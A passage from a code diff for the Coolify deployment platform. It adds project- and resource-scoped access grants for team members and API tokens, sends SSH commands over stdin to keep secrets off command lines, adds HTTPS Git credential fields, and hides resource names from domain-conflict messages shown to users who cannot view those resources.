($this->layersFor($user, $teamId) as $layer) { + if (! $layer->coversWholeTeam()) { + return false; + } + } + + return true; + } + + /** + * True when the user (and the current token) has the level on the whole team, for actions without a target + * inside the team, such as creating a project. + */ + public function allowsTeamWide(User $user, AccessLevel $level, int $teamId): bool + { + foreach ($this->layersFor($user, $teamId) as $layer) { + if (! $layer->allows($level)) { + return false; + } + } + + return $this->isMember($user, $teamId); + } + + /** + * True when the user has every level of every grant, at that scope or above it. + * A token can never get more access than the user who owns it. + * + * @param list $grants + */ + public function userHolds(User $user, int $teamId, array $grants): bool + { + $memberGrants = $this->memberGrants($user, $teamId); + if ($memberGrants === null) { + return true; + } + + $layer = $this->resolve($teamId, $memberGrants); + + foreach ($grants as $grant) { + $location = $this->locateScope($teamId, $grant); + if ($location === null) { + return false; + } + [$projectId, $environmentId, $resourceUuid] = $location; + + foreach ($grant->levels as $level) { + if (! $layer->allows($level, $projectId, $environmentId, $resourceUuid)) { + return false; + } + } + } + + return true; + } + + /** + * Layers of the authenticated user (and token) in their current team, for list queries. + * + * @return list + */ + public function currentLayers(): array + { + if ($this->resolving) { + return []; + } + + $user = auth()->user(); + if (! $user instanceof User) { + return []; + } + + $teamId = data_get(session('currentTeam'), 'id') ?? data_get($user->currentAccessToken(), 'team_id'); + if ($teamId === null || ! $this->isMember($user, (int) $teamId)) { + return []; + } + + return $this->layersFor($user, (int) $teamId); + } + + /** + * @return list + */ + public function layersFor(User $user, int $teamId): array + { + $layers = []; + + $memberGrants = $this->memberGrants($user, $teamId); + if ($memberGrants !== null) { + $layers[] = $this->cachedLayer($teamId, $memberGrants); + } + + $token = $user->is(auth()->user()) ? $user->currentAccessToken() : null; + if ($token instanceof PersonalAccessToken && (int) $token->team_id === $teamId) { + $tokenGrants = self::tokenGrants($token); + if ($tokenGrants !== null) { + $layers[] = $this->cachedLayer($teamId, $tokenGrants); + } + } + + return $layers; + } + + /** + * @param list $grants + */ + private function cachedLayer(int $teamId, array $grants): AccessGrants + { + $key = $teamId.':'.md5(json_encode(Grant::listToArray($grants))); + + return $this->layers[$key] ??= $this->resolve($teamId, $grants); + } + + /** + * Resolve grant UUIDs to IDs inside the team. Grants that point outside the team are dropped. + * + * @param list $grants + */ + public function resolve(int $teamId, array $grants): AccessGrants + { + $this->resolving = true; + try { + return $this->build($teamId, $grants); + } finally { + $this->resolving = false; + } + } + + /** + * @param list $grants + */ + private function build(int $teamId, array $grants): AccessGrants + { + $teamLevels = []; + $byScope = [AccessScope::Project->value => [], AccessScope::Environment->value => [], AccessScope::Resource->value => []]; + + foreach ($grants as $grant) { + if ($grant->levels === []) { + continue; + } + if ($grant->scope === AccessScope::Team) { + $teamLevels += AccessGrants::expand($grant->levels); + + continue; + } + $existing = $byScope[$grant->scope->value][$grant->uuid] ?? []; + $byScope[$grant->scope->value][$grant->uuid] = $existing + AccessGrants::expand($grant->levels); + } + + $projectLevels = []; + $projectEnvironmentIds = []; + if ($byScope[AccessScope::Project->value] !== []) { + $projects = Project::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->where('team_id', $teamId) + ->whereIn('uuid', array_keys($byScope[AccessScope::Project->value])) + ->get(['id', 'uuid']); + foreach ($projects as $project) { + $projectLevels[$project->id] = $byScope[AccessScope::Project->value][$project->uuid]; + } + $projectEnvironmentIds = Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('project_id', array_keys($projectLevels)) + ->pluck('id') + ->all(); + } + + $environmentLevels = []; + $environmentProjects = []; + if ($byScope[AccessScope::Environment->value] !== []) { + $environments = $this->teamEnvironments($teamId) + ->whereIn('environments.uuid', array_keys($byScope[AccessScope::Environment->value])) + ->get(['environments.id', 'environments.uuid', 'environments.project_id']); + foreach ($environments as $environment) { + $environmentLevels[$environment->id] = $byScope[AccessScope::Environment->value][$environment->uuid]; + $environmentProjects[$environment->id] = $environment->project_id; + } + } + + $resourceLevels = []; + $resourceEnvironments = []; + $resourceUuids = array_keys($byScope[AccessScope::Resource->value]); + if ($resourceUuids !== []) { + $teamEnvironmentProjects = $this->teamEnvironments($teamId)->pluck('environments.project_id', 'environments.id')->all(); + foreach (self::RESOURCE_MODELS as $modelClass) { + $resources = $modelClass::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('uuid', $resourceUuids) + ->whereIn('environment_id', array_keys($teamEnvironmentProjects)) + ->get(['uuid', 'environment_id']); + foreach ($resources as $resource) { + $resourceLevels[$resource->uuid] = $byScope[AccessScope::Resource->value][$resource->uuid]; + $resourceEnvironments[$resource->uuid] = $resource->environment_id; + $environmentProjects[$resource->environment_id] = $teamEnvironmentProjects[$resource->environment_id]; + } + } + } + + return new AccessGrants( + $teamLevels, + $projectLevels, + $environmentLevels, + $resourceLevels, + $environmentProjects, + $resourceEnvironments, + $projectEnvironmentIds, + ); + } + + private function teamEnvironments(int $teamId): Builder + { + return Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->join('projects', 'projects.id', '=', 'environments.project_id') + ->where('projects.team_id', $teamId); + } + + /** + * @return array{0: int, 1: int|null, 2: int|null, 3: string|null}|null team, project, environment, resource UUID + */ + private function locate(Model $target): ?array + { + if ($target instanceof Project) { + return [$target->team_id, $target->id, null, null]; + } + + $environmentId = $target instanceof Environment ? $target->id : $target->getAttribute('environment_id'); + if ($environmentId === null) { + return null; + } + + $this->resolving = true; + try { + $environment = Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->with(['project' => fn ($query) => $query->withoutGlobalScope(VisibleThroughAccessGrants::class)]) + ->find($environmentId); + } finally { + $this->resolving = false; + } + + if ($environment?->project === null) { + return null; + } + + $resourceUuid = $target instanceof Environment ? null : $target->getAttribute('uuid'); + + return [$environment->project->team_id, $environment->project_id, $environment->id, $resourceUuid]; + } + + /** + * @return array{0: int|null, 1: int|null, 2: string|null}|null project, environment, resource UUID + */ + private function locateScope(int $teamId, Grant $grant): ?array + { + if ($grant->scope === AccessScope::Team) { + return [null, null, null]; + } + + $layer = $this->resolve($teamId, [new Grant($grant->scope, $grant->uuid, [AccessLevel::Read])]); + + return match ($grant->scope) { + AccessScope::Project => ($layer->visibleProjectIds()[0] ?? null) === null ? null : [$layer->visibleProjectIds()[0], null, null], + AccessScope::Environment => ($layer->fullEnvironmentIds()[0] ?? null) === null ? null : [$layer->visibleProjectIds()[0], $layer->fullEnvironmentIds()[0], null], + AccessScope::Resource => $layer->resourceUuids() === [] ? null : [$layer->visibleProjectIds()[0], $layer->visibleEnvironmentIds()[0], $grant->uuid], + }; + } +} diff --git a/app/Services/Access/Grant.php b/app/Services/Access/Grant.php new file mode 100644 index 0000000000..e7a880841f --- /dev/null +++ b/app/Services/Access/Grant.php @@ -0,0 +1,94 @@ + $levels + */ + public function __construct( + public AccessScope $scope, + public ?string $uuid, + public array $levels, + ) {} + + /** + * @param list $levels + */ + public static function team(array $levels): self + { + return new self(AccessScope::Team, null, $levels); + } + + /** + * @param array{scope?: string, uuid?: string|null, levels?: list} $data + */ + public static function fromArray(array $data): ?self + { + $scope = AccessScope::tryFrom((string) ($data['scope'] ?? '')); + if ($scope === null) { + return null; + } + + $uuid = $scope === AccessScope::Team ? null : ($data['uuid'] ?? null); + if ($scope !== AccessScope::Team && (! is_string($uuid) || $uuid === '')) { + return null; + } + + return new self($scope, $uuid, AccessLevel::parseMany($data['levels'] ?? [])); + } + + /** + * @return list + */ + public static function listFrom(mixed $stored): array + { + if (is_string($stored)) { + $stored = json_decode($stored, true); + } + if (! is_array($stored)) { + return []; + } + + $grants = []; + foreach ($stored as $item) { + $grant = is_array($item) ? self::fromArray($item) : null; + if ($grant !== null) { + $grants[] = $grant; + } + } + + return $grants; + } + + /** + * @param list $grants + * @return list}> + */ + public static function listToArray(array $grants): array + { + return array_map(fn (self $grant) => $grant->toArray(), $grants); + } + + /** + * @return array{scope: string, uuid: string|null, levels: list} + */ + public function toArray(): array + { + return [ + 'scope' => $this->scope->value, + 'uuid' => $this->uuid, + 'levels' => array_map(fn (AccessLevel $level) => $level->value, $this->levels), + ]; + } +} diff --git a/app/Services/ContainerFilesystemService.php b/app/Services/ContainerFilesystemService.php index 5392f7d483..7fe8221f03 100644 --- a/app/Services/ContainerFilesystemService.php +++ b/app/Services/ContainerFilesystemService.php @@ -402,12 +402,15 @@ class ContainerFilesystemService $command = parseCommandsByLineForSudo(collect([$command]), $this->server)[0]; } - $process = proc_open($this->sshCommand($command), [1 => ['pipe', 'w'], 2 => ['file', '/dev/null', 'w']], $pipes); + $process = proc_open($this->sshCommand(), [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['file', '/dev/null', 'w']], $pipes); if (! is_resource($process)) { throw new \RuntimeException('Could not start the download.'); } try { + // The command goes to ssh on stdin, so it is not in a command line on the Coolify host. + fwrite($pipes[0], SshMultiplexingHelper::sshBatchInput($command)); + fclose($pipes[0]); while (! feof($pipes[1])) { $chunk = fread($pipes[1], 64 * 1024); if ($chunk === false || connection_aborted()) { @@ -450,9 +453,9 @@ class ContainerFilesystemService instant_remote_process([$this->buildS3UploadCommand($path, $isDir, $url, $headers)], $this->server, timeout: 3600); } - protected function sshCommand(string $command): string + protected function sshCommand(): string { - return SshMultiplexingHelper::generateSshCommand($this->server, $command); + return SshMultiplexingHelper::generateSshBatchCommand($this->server); } protected function escapePath(string $path, string $label): string diff --git a/app/Services/DatabaseStartCommandExecutor.php b/app/Services/DatabaseStartCommandExecutor.php index 4fc38a9539..7f8090fc61 100644 --- a/app/Services/DatabaseStartCommandExecutor.php +++ b/app/Services/DatabaseStartCommandExecutor.php @@ -23,7 +23,8 @@ class DatabaseStartCommandExecutor $secrets = method_exists($database, 'resolvedSecretManagerValuesForRedaction') ? $database->resolvedSecretManagerValuesForRedaction() : []; - $remoteCommand = SshMultiplexingHelper::generateSshCommand($server, implode("\n", $commands)); + // The commands go to ssh on stdin, so the database passwords in them are not in a command line on the Coolify host. + $remoteCommand = SshMultiplexingHelper::generateSshBatchCommand($server); $activity->properties = $activity->properties->merge(['status' => ProcessStatus::IN_PROGRESS->value]); $activity->save(); @@ -34,6 +35,7 @@ class DatabaseStartCommandExecutor try { $process = Process::timeout($timeout) ->idleTimeout(3600) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) ->start($remoteCommand, function (string $type, string $output) use ($activity, $secrets, &$pending): void { $pending[$type] = ($pending[$type] ?? '').$output; $end = max(strrpos($pending[$type], "\n"), strrpos($pending[$type], "\r")); diff --git a/app/Services/DockerRegistryLogins.php b/app/Services/DockerRegistryLogins.php index 8406fa9ec4..8b3d62b4fc 100644 --- a/app/Services/DockerRegistryLogins.php +++ b/app/Services/DockerRegistryLogins.php @@ -216,10 +216,9 @@ class DockerRegistryLogins /** * Run docker login on the server, writing to the same config file that deployments mount. * - * The SSH wrapper sends this script to the server's shell on stdin, and the shell builtin echo passes the - * secret to docker on stdin, so it is not a process argument on the server. On the Coolify host it is still - * in the command line of the local shell that runs ssh, because SshMultiplexingHelper::generateSshCommand() - * embeds the script in a heredoc. It is kept out of SSH error logs and exception messages. + * The script goes to the server's shell on ssh stdin, and the shell builtin echo passes the secret to docker + * on stdin, so it is not a process argument on the Coolify host or on the server. It is kept out of SSH error + * logs and exception messages. */ public static function login(Server $server, string $registry, string $username, string $password): void { @@ -277,7 +276,9 @@ class DockerRegistryLogins { $commands = $server->isNonRoot() ? parseCommandsByLineForSudo(collect([$command]), $server) : [$command]; try { - $process = Process::timeout(60)->run(SshMultiplexingHelper::generateSshCommand($server, implode("\n", $commands))); + $process = Process::timeout(60) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($server)); } catch (ProcessTimedOutException|SymfonyProcessTimedOutException) { // The timeout message contains the full SSH command, including the registry password. throw new RuntimeException('The command on the server timed out after 60 seconds.', 124); diff --git a/app/Services/SentinelTrafficClient.php b/app/Services/SentinelTrafficClient.php index 54cb4758c6..c5545d57a9 100644 --- a/app/Services/SentinelTrafficClient.php +++ b/app/Services/SentinelTrafficClient.php @@ -786,9 +786,9 @@ class SentinelTrafficClient $commands = $this->server->isNonRoot() ? parseCommandsByLineForSudo(collect([$command]), $this->server) : [$command]; try { - return Process::timeout(self::REMOTE_TIMEOUT)->start( - SshMultiplexingHelper::generateSshCommand($this->server, implode("\n", $commands), commandTimeout: self::REMOTE_TIMEOUT) - ); + return Process::timeout(self::REMOTE_TIMEOUT) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) + ->start(SshMultiplexingHelper::generateSshBatchCommand($this->server, commandTimeout: self::REMOTE_TIMEOUT)); } catch (\Throwable $e) { Cache::put($this->unavailableKey(), true, self::UNAVAILABLE_TTL); diff --git a/app/Services/ServerTransfer/ServerTransferExporter.php b/app/Services/ServerTransfer/ServerTransferExporter.php index 66254ae647..de986a9f57 100644 --- a/app/Services/ServerTransfer/ServerTransferExporter.php +++ b/app/Services/ServerTransfer/ServerTransferExporter.php @@ -899,6 +899,7 @@ class ServerTransferExporter // Ensure hidden encrypted fields are included as plaintext. foreach ([ 'http_basic_auth_password', + 'git_https_password', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', diff --git a/app/Traits/AuthorizesResourceCreation.php b/app/Traits/AuthorizesResourceCreation.php index 01ae7c8d95..4e18d45fed 100644 --- a/app/Traits/AuthorizesResourceCreation.php +++ b/app/Traits/AuthorizesResourceCreation.php @@ -2,6 +2,8 @@ namespace App\Traits; +use App\Models\Environment; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; trait AuthorizesResourceCreation @@ -9,12 +11,12 @@ trait AuthorizesResourceCreation use AuthorizesRequests; /** - * Authorize creation of all supported resources. + * Authorize creation of all supported resources, in the environment when one is given. * - * @throws \Illuminate\Auth\Access\AuthorizationException + * @throws AuthorizationException */ - protected function authorizeResourceCreation(): void + protected function authorizeResourceCreation(?Environment $environment = null): void { - $this->authorize('createAnyResource'); + $this->authorize('createAnyResource', [$environment]); } } diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index 21912fb82f..4dffd37b5f 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -159,9 +159,9 @@ trait ExecuteRemoteCommand } /** - * Execute the actual command with process handling. With $input, the content goes to the command over - * SSH stdin, because Linux limits one exec argument to 128 KiB and generateSshCommand() puts the whole - * script into one argument. + * Execute the actual command with process handling. Without $input, the command goes to the remote shell + * over SSH stdin, so its secrets are not in a command line on the Coolify host. With $input, the command + * is the SSH argument and the content goes to it over SSH stdin. */ private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden = false, $skip_command_log = false, ?string $input = null) { @@ -169,9 +169,12 @@ trait ExecuteRemoteCommand $this->application_deployment_queue->addLogEntry('[CMD]: '.$this->redact_sensitive_info($command), hidden: true); } - $remote_command = $input === null - ? SshMultiplexingHelper::generateSshCommand($this->server, $command) - : SshMultiplexingHelper::generateSshStdinCommand($this->server, $command); + if ($input === null) { + $remote_command = SshMultiplexingHelper::generateSshBatchCommand($this->server); + $input = SshMultiplexingHelper::sshBatchInput((string) $command); + } else { + $remote_command = SshMultiplexingHelper::generateSshStdinCommand($this->server, $command); + } $addLogEntry = function (string $type, string $output) use ($command, $hidden, $customType, $command_hidden, $skip_command_log): void { // Sanitize output to ensure valid UTF-8 encoding before JSON encoding $log_output = str(sanitize_utf8_text($output))->trim(); diff --git a/app/Traits/ScopedByAccessGrants.php b/app/Traits/ScopedByAccessGrants.php new file mode 100644 index 0000000000..ef93669dbc --- /dev/null +++ b/app/Traits/ScopedByAccessGrants.php @@ -0,0 +1,16 @@ + app(AccessResolver::class)->flush()); + static::deleted(fn () => app(AccessResolver::class)->flush()); + } +} diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index c4c5eb7a27..d343a5a06e 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -189,6 +189,8 @@ function sharedDataApplications(?Application $application = null): array return [ 'git_repository' => 'string', 'git_branch' => ['string', new ValidGitBranch], + 'git_https_username' => ['string', 'nullable', 'max:255', 'regex:/^[^:\r\n]*$/'], + 'git_https_password' => ['string', 'nullable', 'max:2048', 'regex:/^[^\r\n]*$/'], 'build_pack' => Rule::enum(BuildPackTypes::class), 'is_static' => 'boolean', 'is_spa' => 'boolean', diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index 14b1047545..78632b762e 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -17,6 +17,7 @@ use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Models\StandaloneSqlite; use App\Models\SwarmDocker; +use App\Services\Access\AccessResolver; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Str; @@ -500,14 +501,13 @@ function deleteOldBackupsFromS3($backup): Collection function isPublicPortAlreadyUsed(Server $server, int $port, ?string $id = null): bool { + // A member limited to some projects must still see the ports of every database on the server. + $databases = app(AccessResolver::class)->withoutVisibilityScope(fn () => $server->databases()); + + $query = $databases->where('public_port', $port)->where('is_public', true); if ($id) { - $foundDatabase = $server->databases()->where('public_port', $port)->where('is_public', true)->where('id', '!=', $id)->first(); - } else { - $foundDatabase = $server->databases()->where('public_port', $port)->where('is_public', true)->first(); - } - if ($foundDatabase) { - return true; + $query = $query->where('id', '!=', $id); } - return false; + return $query->isNotEmpty(); } diff --git a/bootstrap/helpers/domains.php b/bootstrap/helpers/domains.php index 4e4ee200d8..176a4e1153 100644 --- a/bootstrap/helpers/domains.php +++ b/bootstrap/helpers/domains.php @@ -5,7 +5,10 @@ use App\Models\EnvironmentVariable; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use App\Services\Access\AccessResolver; +use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Gate; /** * Count domains in a comma-separated FQDN string (e.g. "https://a.com,https://b.com"). @@ -116,6 +119,29 @@ function applicationDomainEntries(Application $application): Collection return $entries->values(); } +/** + * True when the authenticated user cannot see the resource, so a conflict must not reveal its name. + */ +function domainConflictResourceIsHidden(Model $resource): bool +{ + return auth()->check() && Gate::denies('view', $resource); +} + +/** + * @return array{domain: string, resource_name: string, resource_link: null, resource_uuid: null, resource_type: string, message: string} + */ +function hiddenDomainConflict(string $domain, string $type): array +{ + return [ + 'domain' => $domain, + 'resource_name' => 'another resource', + 'resource_link' => null, + 'resource_uuid' => null, + 'resource_type' => $type, + 'message' => "Domain $domain is already in use by another resource in this team", + ]; +} + function checkDomainUsage(ServiceApplication|Application|null $resource = null, ?string $domain = null) { $conflicts = []; @@ -146,79 +172,72 @@ function checkDomainUsage(ServiceApplication|Application|null $resource = null, return domainConflictKey((string) $domain); }); - // Filter applications by team if we have a current team - $appsQuery = Application::query(); - if ($currentTeam) { - $appsQuery = $appsQuery->whereHas('environment.project', function ($query) use ($currentTeam) { - $query->where('team_id', $currentTeam->id); - }); - } - $apps = $appsQuery->get(); + // A member limited to some projects must still see conflicts with every resource of the team. + [$apps, $serviceApps] = app(AccessResolver::class)->withoutVisibilityScope(function () use ($currentTeam) { + $appsQuery = Application::query(); + $serviceAppsQuery = ServiceApplication::query()->with('service'); + if ($currentTeam) { + $appsQuery->whereHas('environment.project', function ($query) use ($currentTeam) { + $query->where('team_id', $currentTeam->id); + }); + $serviceAppsQuery->whereHas('service.environment.project', function ($query) use ($currentTeam) { + $query->where('team_id', $currentTeam->id); + }); + } + + return [$appsQuery->get(), $serviceAppsQuery->get()]; + }); + foreach ($apps as $app) { foreach (applicationDomainEntries($app) as $domainEntry) { $naked_domain = $domainEntry['domain']; - if ($domains->contains(domainConflictKey($naked_domain))) { - if (data_get($resource, 'uuid')) { - if ($resource->uuid !== $app->uuid) { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->name, - 'resource_link' => $app->link(), - 'resource_type' => 'application', - 'message' => "Domain $naked_domain is already in use by application '{$app->name}'".($domainEntry['service_name'] ? " (service: {$domainEntry['service_name']})" : ''), - ...($domainEntry['service_name'] ? ['service_name' => $domainEntry['service_name']] : []), - ]; - } - } else { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->name, - 'resource_link' => $app->link(), - 'resource_type' => 'application', - 'message' => "Domain $naked_domain is already in use by application '{$app->name}'".($domainEntry['service_name'] ? " (service: {$domainEntry['service_name']})" : ''), - ...($domainEntry['service_name'] ? ['service_name' => $domainEntry['service_name']] : []), - ]; - } + if (! $domains->contains(domainConflictKey($naked_domain))) { + continue; } + if (data_get($resource, 'uuid') && $resource->uuid === $app->uuid) { + continue; + } + if (domainConflictResourceIsHidden($app)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'application'); + + continue; + } + $conflicts[] = [ + 'domain' => $naked_domain, + 'resource_name' => $app->name, + 'resource_link' => $app->link(), + 'resource_type' => 'application', + 'message' => "Domain $naked_domain is already in use by application '{$app->name}'".($domainEntry['service_name'] ? " (service: {$domainEntry['service_name']})" : ''), + ...($domainEntry['service_name'] ? ['service_name' => $domainEntry['service_name']] : []), + ]; } } - // Filter service applications by team if we have a current team - $serviceAppsQuery = ServiceApplication::query(); - if ($currentTeam) { - $serviceAppsQuery = $serviceAppsQuery->whereHas('service.environment.project', function ($query) use ($currentTeam) { - $query->where('team_id', $currentTeam->id); - }); - } - $apps = $serviceAppsQuery->get(); - foreach ($apps as $app) { + foreach ($serviceApps as $app) { $list_of_domains = collect(explode(',', $app->fqdn))->filter(fn ($fqdn) => $fqdn !== ''); foreach ($list_of_domains as $domain) { if (str($domain)->endsWith('/')) { $domain = str($domain)->beforeLast('/'); } $naked_domain = str($domain)->value(); - if ($domains->contains(domainConflictKey($naked_domain))) { - if (data_get($resource, 'uuid')) { - if ($resource->uuid !== $app->uuid) { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->service->name, - 'resource_link' => $app->service->link(), - 'resource_type' => 'service', - 'message' => "Domain $naked_domain is already in use by service '{$app->service->name}'", - ]; - } - } elseif ($domain) { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->service->name, - 'resource_link' => $app->service->link(), - 'resource_type' => 'service', - 'message' => "Domain $naked_domain is already in use by service '{$app->service->name}'", - ]; - } + if (! $domains->contains(domainConflictKey($naked_domain))) { + continue; } + if (data_get($resource, 'uuid') && $resource->uuid === $app->uuid) { + continue; + } + if (domainConflictResourceIsHidden($app->service)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'service'); + + continue; + } + $conflicts[] = [ + 'domain' => $naked_domain, + 'resource_name' => $app->service->name, + 'resource_link' => $app->service->link(), + 'resource_type' => 'service', + 'message' => "Domain $naked_domain is already in use by service '{$app->service->name}'", + ]; } } @@ -267,8 +286,11 @@ function checkIfDomainIsAlreadyUsedViaAPI(Collection|array $domains, ?string $te return domainConflictKey((string) $domain); }); - $applications = Application::ownedByCurrentTeamAPI($teamId)->get(['fqdn', 'uuid', 'name', 'id', 'docker_compose_domains', 'build_pack']); - $serviceApplications = ServiceApplication::ownedByCurrentTeamAPI($teamId)->with('service:id,name')->get(['fqdn', 'uuid', 'id', 'service_id']); + // A token or member limited to some projects must still see conflicts with every resource of the team. + [$applications, $serviceApplications] = app(AccessResolver::class)->withoutVisibilityScope(fn () => [ + Application::ownedByCurrentTeamAPI($teamId)->get(['fqdn', 'uuid', 'name', 'id', 'docker_compose_domains', 'build_pack', 'environment_id']), + ServiceApplication::ownedByCurrentTeamAPI($teamId)->with('service:id,name,uuid,environment_id')->get(['fqdn', 'uuid', 'id', 'service_id']), + ]); if ($uuid) { $applications = $applications->filter(fn ($app) => $app->uuid !== $uuid); @@ -279,6 +301,11 @@ function checkIfDomainIsAlreadyUsedViaAPI(Collection|array $domains, ?string $te foreach (applicationDomainEntries($app) as $domainEntry) { $naked_domain = $domainEntry['domain']; if ($domains->contains(domainConflictKey($naked_domain))) { + if (domainConflictResourceIsHidden($app)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'application'); + + continue; + } $conflicts[] = [ 'domain' => $naked_domain, 'resource_name' => $app->name, @@ -302,6 +329,11 @@ function checkIfDomainIsAlreadyUsedViaAPI(Collection|array $domains, ?string $te } $naked_domain = str($domain)->value(); if ($domains->contains(domainConflictKey($naked_domain))) { + if ($app->service !== null && domainConflictResourceIsHidden($app->service)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'service'); + + continue; + } $conflicts[] = [ 'domain' => $naked_domain, 'resource_name' => $app->service->name ?? 'Unknown Service', diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index e5dd73de46..0c8bb86ebd 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -192,8 +192,8 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $ return SshRetryHandler::retry( function () use ($server, $command_string) { - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string); - $process = runSshProcess($sshCommand, 30); + $sshCommand = SshMultiplexingHelper::generateSshBatchCommand($server); + $process = runSshProcess($sshCommand, 30, SshMultiplexingHelper::sshBatchInput($command_string)); $output = trim($process->output()); $exitCode = $process->exitCode(); @@ -228,8 +228,8 @@ function instant_remote_process(Collection|array $command, Server $server, bool return SshRetryHandler::retry( function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) { - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing, (int) $effectiveTimeout); - $process = runSshProcess($sshCommand, (int) $effectiveTimeout); + $sshCommand = SshMultiplexingHelper::generateSshBatchCommand($server, $disableMultiplexing, (int) $effectiveTimeout); + $process = runSshProcess($sshCommand, (int) $effectiveTimeout, SshMultiplexingHelper::sshBatchInput($command_string)); $output = trim($process->output()); $exitCode = $process->exitCode(); diff --git a/database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php b/database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php new file mode 100644 index 0000000000..20d860b9bb --- /dev/null +++ b/database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php @@ -0,0 +1,46 @@ +json('access')->nullable(); + }); + } + + if (! Schema::hasColumn('personal_access_tokens', 'scopes')) { + Schema::table('personal_access_tokens', function (Blueprint $table) { + $table->json('scopes')->nullable(); + }); + } + + // Delete becomes its own ability. Tokens that could write could delete, so they keep that. + DB::table('personal_access_tokens')->orderBy('id')->chunkById(500, function ($tokens) { + foreach ($tokens as $token) { + $abilities = json_decode($token->abilities ?? '[]', true); + if (! is_array($abilities) || ! in_array('write', $abilities, true) || in_array('delete', $abilities, true)) { + continue; + } + $abilities[] = 'delete'; + DB::table('personal_access_tokens')->where('id', $token->id)->update(['abilities' => json_encode($abilities)]); + } + }); + } + + public function down(): void + { + Schema::table('team_user', function (Blueprint $table) { + $table->dropColumn('access'); + }); + Schema::table('personal_access_tokens', function (Blueprint $table) { + $table->dropColumn('scopes'); + }); + } +}; diff --git a/database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php b/database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php new file mode 100644 index 0000000000..3ce6acfe0e --- /dev/null +++ b/database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php @@ -0,0 +1,23 @@ +string('git_https_username')->nullable(); + $table->text('git_https_password')->nullable(); + }); + } + + public function down(): void + { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn(['git_https_username', 'git_https_password']); + }); + } +}; diff --git a/openapi.json b/openapi.json index e48c0d86e1..53fba3b4c6 100644 --- a/openapi.json +++ b/openapi.json @@ -563,6 +563,16 @@ "type": "string", "description": "The git branch." }, + "git_https_username": { + "type": "string", + "nullable": true, + "description": "Username for HTTPS access to a private repository on a custom Git host (not github.com)." + }, + "git_https_password": { + "type": "string", + "nullable": true, + "description": "Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned." + }, "build_pack": { "type": "string", "enum": [ @@ -3724,6 +3734,16 @@ "type": "string", "description": "The git branch." }, + "git_https_username": { + "type": "string", + "nullable": true, + "description": "Username for HTTPS access to a private repository on a custom Git host. Send null to remove it." + }, + "git_https_password": { + "type": "string", + "nullable": true, + "description": "Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials." + }, "ports_exposes": { "type": "string", "description": "The ports to expose." @@ -24994,6 +25014,11 @@ "nullable": true, "description": "Git full URL." }, + "git_https_username": { + "type": "string", + "nullable": true, + "description": "Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned." + }, "docker_registry_image_name": { "type": "string", "nullable": true, diff --git a/openapi.yaml b/openapi.yaml index a0ed28c8e7..3de7ed2693 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -353,6 +353,14 @@ paths: git_branch: type: string description: 'The git branch.' + git_https_username: + type: string + nullable: true + description: 'Username for HTTPS access to a private repository on a custom Git host (not github.com).' + git_https_password: + type: string + nullable: true + description: 'Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned.' build_pack: type: string enum: [nixpacks, railpack, static, dockerfile, dockercompose] @@ -2474,6 +2482,14 @@ paths: git_branch: type: string description: 'The git branch.' + git_https_username: + type: string + nullable: true + description: 'Username for HTTPS access to a private repository on a custom Git host. Send null to remove it.' + git_https_password: + type: string + nullable: true + description: 'Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials.' ports_exposes: type: string description: 'The ports to expose.' @@ 